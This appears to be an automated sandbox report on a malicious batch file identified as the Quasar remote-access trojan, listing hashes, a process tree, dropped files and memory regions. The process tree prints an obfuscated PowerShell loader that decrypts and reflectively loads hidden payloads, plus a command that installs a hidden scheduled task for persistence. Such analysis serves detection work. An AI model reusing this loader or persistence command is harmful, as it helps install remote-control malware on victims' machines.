Analysis

  • max time kernel
    0s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    28-06-2024 22:53

General

  • Target

    testing.bat

  • Size

    370KB

  • MD5

    df396b97b5de6c7ab17a021681980c9b

  • SHA1

    5a794a857884e1ec35eb225397ee6d3a5680af22

  • SHA256

    9db155af18a56368ff0d18ab954438bbb14ec90a7cacc603f66ce5468e4bf3c4

  • SHA512

    96a6423ff510d21cfa9e385e38c3d65e3b2f65cb3309082b734358e1f7b097be44276b74d64b62c5957bb554f1c97dabd889aedea0306441b4431d57636a3848

  • SSDEEP

    6144:ELpy5tbQpHYdQgYl7nIVTgunq/hdnN5cAZVQw3g+glYY8UdKmq5:p7QHY2lboguq//N+AQwfglYvF5

Malware Config

Extracted

Family

quasar

Attributes
  • reconnect_delay

    5000

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\testing.bat"
    1⤵
      PID:5040
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FkenHL2OG+TYr4GLR0foZuRMV6VKNesGlzUIpfTgBFk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QBB/ZOZrEm9IOU0Xu/iBug=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NRfwC=New-Object System.IO.MemoryStream(,$param_var); $nYQyQ=New-Object System.IO.MemoryStream; $pUpSy=New-Object System.IO.Compression.GZipStream($NRfwC, [IO.Compression.CompressionMode]::Decompress); $pUpSy.CopyTo($nYQyQ); $pUpSy.Dispose(); $NRfwC.Dispose(); $nYQyQ.Dispose(); $nYQyQ.ToArray();}function execute_function($param_var,$param2_var){ $EBCxv=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Srqon=$EBCxv.EntryPoint; $Srqon.Invoke($null, $param2_var);}$PfOfJ = 'C:\Users\Admin\AppData\Local\Temp\testing.bat';$host.UI.RawUI.WindowTitle = $PfOfJ;$FHPTQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($PfOfJ).Split([Environment]::NewLine);foreach ($yJrJm in $FHPTQ) { if ($yJrJm.StartsWith(':: ')) { $KDOrR=$yJrJm.Substring(3); break; }}$payloads_var=[string[]]$KDOrR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:3560
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_650_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_650.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          PID:3460
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_650.vbs"
          3⤵
            PID:1564
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_650.bat" "
              4⤵
                PID:1892
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FkenHL2OG+TYr4GLR0foZuRMV6VKNesGlzUIpfTgBFk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QBB/ZOZrEm9IOU0Xu/iBug=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NRfwC=New-Object System.IO.MemoryStream(,$param_var); $nYQyQ=New-Object System.IO.MemoryStream; $pUpSy=New-Object System.IO.Compression.GZipStream($NRfwC, [IO.Compression.CompressionMode]::Decompress); $pUpSy.CopyTo($nYQyQ); $pUpSy.Dispose(); $NRfwC.Dispose(); $nYQyQ.Dispose(); $nYQyQ.ToArray();}function execute_function($param_var,$param2_var){ $EBCxv=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Srqon=$EBCxv.EntryPoint; $Srqon.Invoke($null, $param2_var);}$PfOfJ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_650.bat';$host.UI.RawUI.WindowTitle = $PfOfJ;$FHPTQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($PfOfJ).Split([Environment]::NewLine);foreach ($yJrJm in $FHPTQ) { if ($yJrJm.StartsWith(':: ')) { $KDOrR=$yJrJm.Substring(3); break; }}$payloads_var=[string[]]$KDOrR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:3880

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          8ba8fc1034d449222856ea8fa2531e28

          SHA1

          7570fe1788e57484c5138b6cead052fbc3366f3e

          SHA256

          2e72609b2c93e0660390a91c8e5334d62c7b17cd40f9ae8afcc767d345cc12f2

          SHA512

          7ee42c690e5db3818e445fa8f50f5db39973f8caf5fce0b4d6261cb5a637e63f966c5f1734ee743b9bf30bcf8d18aa70ceb65ed41035c2940d4c6d34735e0d7b

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          18KB

          MD5

          933fb73dbd2098e46bd27b24fb4031d1

          SHA1

          e8bc25602b11d63dc94c05f68bcb7b4a4e1675d5

          SHA256

          e5b2501f4a722392ae525de052142f2bf2096e71833461d6ee7b5d4a83b8915d

          SHA512

          46c1fcad445cee8db84d11ff1032f4df96180775ad5933ec918b3d38bbd8954e71fa83a22a990b0f195be5d313ce693ba37b1b5261b9914df31619538fa24aaa

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k2f2q2d3.d1h.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\Windows_Log_650.bat

          Filesize

          370KB

          MD5

          df396b97b5de6c7ab17a021681980c9b

          SHA1

          5a794a857884e1ec35eb225397ee6d3a5680af22

          SHA256

          9db155af18a56368ff0d18ab954438bbb14ec90a7cacc603f66ce5468e4bf3c4

          SHA512

          96a6423ff510d21cfa9e385e38c3d65e3b2f65cb3309082b734358e1f7b097be44276b74d64b62c5957bb554f1c97dabd889aedea0306441b4431d57636a3848

        • C:\Users\Admin\AppData\Roaming\Windows_Log_650.vbs

          Filesize

          115B

          MD5

          6d22072f72ca064725151f80cd04bf57

          SHA1

          a6aced68e9de35a293ef2855c64946b9c596f64e

          SHA256

          079389210ed3e04ca1bb335283ff5d37fcfcb97968b8cb173909e4cef7f48ea0

          SHA512

          8177fdb61da79b8e83efa6010333f486d89c53b58f1d9cd30bdcfb19c020b7220196eeddefcf4830731a07a6f7267b4e29621fb42e85ca6cf2f0209b7e71f56e

        • memory/3460-51-0x0000000007A70000-0x0000000007A7A000-memory.dmp

          Filesize

          40KB

        • memory/3460-54-0x0000000074440000-0x0000000074BF1000-memory.dmp

          Filesize

          7.7MB

        • memory/3460-57-0x0000000074440000-0x0000000074BF1000-memory.dmp

          Filesize

          7.7MB

        • memory/3460-53-0x0000000007C10000-0x0000000007C21000-memory.dmp

          Filesize

          68KB

        • memory/3460-52-0x0000000007C80000-0x0000000007D16000-memory.dmp

          Filesize

          600KB

        • memory/3460-50-0x0000000074440000-0x0000000074BF1000-memory.dmp

          Filesize

          7.7MB

        • memory/3460-49-0x0000000074440000-0x0000000074BF1000-memory.dmp

          Filesize

          7.7MB

        • memory/3460-48-0x0000000074440000-0x0000000074BF1000-memory.dmp

          Filesize

          7.7MB

        • memory/3460-47-0x00000000078C0000-0x0000000007964000-memory.dmp

          Filesize

          656KB

        • memory/3460-36-0x0000000007850000-0x0000000007884000-memory.dmp

          Filesize

          208KB

        • memory/3460-37-0x0000000070630000-0x000000007067C000-memory.dmp

          Filesize

          304KB

        • memory/3460-46-0x0000000007890000-0x00000000078AE000-memory.dmp

          Filesize

          120KB

        • memory/3460-25-0x0000000074440000-0x0000000074BF1000-memory.dmp

          Filesize

          7.7MB

        • memory/3460-26-0x0000000074440000-0x0000000074BF1000-memory.dmp

          Filesize

          7.7MB

        • memory/3460-35-0x0000000074440000-0x0000000074BF1000-memory.dmp

          Filesize

          7.7MB

        • memory/3560-16-0x00000000064D0000-0x00000000064EE000-memory.dmp

          Filesize

          120KB

        • memory/3560-78-0x0000000074440000-0x0000000074BF1000-memory.dmp

          Filesize

          7.7MB

        • memory/3560-23-0x00000000088E0000-0x0000000008E86000-memory.dmp

          Filesize

          5.6MB

        • memory/3560-20-0x00000000076C0000-0x00000000076C8000-memory.dmp

          Filesize

          32KB

        • memory/3560-19-0x0000000007680000-0x000000000769A000-memory.dmp

          Filesize

          104KB

        • memory/3560-18-0x0000000007CB0000-0x000000000832A000-memory.dmp

          Filesize

          6.5MB

        • memory/3560-17-0x0000000006520000-0x000000000656C000-memory.dmp

          Filesize

          304KB

        • memory/3560-0-0x000000007444E000-0x000000007444F000-memory.dmp

          Filesize

          4KB

        • memory/3560-21-0x00000000077B0000-0x000000000784C000-memory.dmp

          Filesize

          624KB

        • memory/3560-22-0x00000000078E0000-0x0000000007928000-memory.dmp

          Filesize

          288KB

        • memory/3560-4-0x0000000005750000-0x0000000005772000-memory.dmp

          Filesize

          136KB

        • memory/3560-6-0x0000000005F90000-0x0000000005FF6000-memory.dmp

          Filesize

          408KB

        • memory/3560-5-0x00000000058F0000-0x0000000005956000-memory.dmp

          Filesize

          408KB

        • memory/3560-3-0x0000000005960000-0x0000000005F8A000-memory.dmp

          Filesize

          6.2MB

        • memory/3560-2-0x0000000074440000-0x0000000074BF1000-memory.dmp

          Filesize

          7.7MB

        • memory/3560-1-0x0000000003100000-0x0000000003136000-memory.dmp

          Filesize

          216KB

        • memory/3560-15-0x00000000060F0000-0x0000000006447000-memory.dmp

          Filesize

          3.3MB

        • memory/3880-76-0x0000000007800000-0x0000000007892000-memory.dmp

          Filesize

          584KB

        • memory/3880-75-0x0000000007710000-0x0000000007758000-memory.dmp

          Filesize

          288KB